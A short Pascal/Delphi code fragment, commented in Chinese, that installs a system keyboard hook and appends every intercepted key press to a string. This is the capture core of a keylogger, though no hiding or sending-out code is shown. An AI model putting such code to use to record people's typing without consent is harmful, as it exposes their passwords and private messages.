//对拦截到的键处理
procedure RecKeyBoard(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if CheckKey then
KeyS := KeyS + Chr(Key);
end;
begin
KBH := TSystemKeyBoard.Create;
KBH.OnKeyDown := @RecKeyBoard;
KBH.Open;
while GetMessage(aMessage,0,0,0) do begin
TranslateMessage(amessage);
DispatchMessage(aMessage);
end;
KBH.Close;
KBH.Free;
Halt(aMessage.wParam);
end.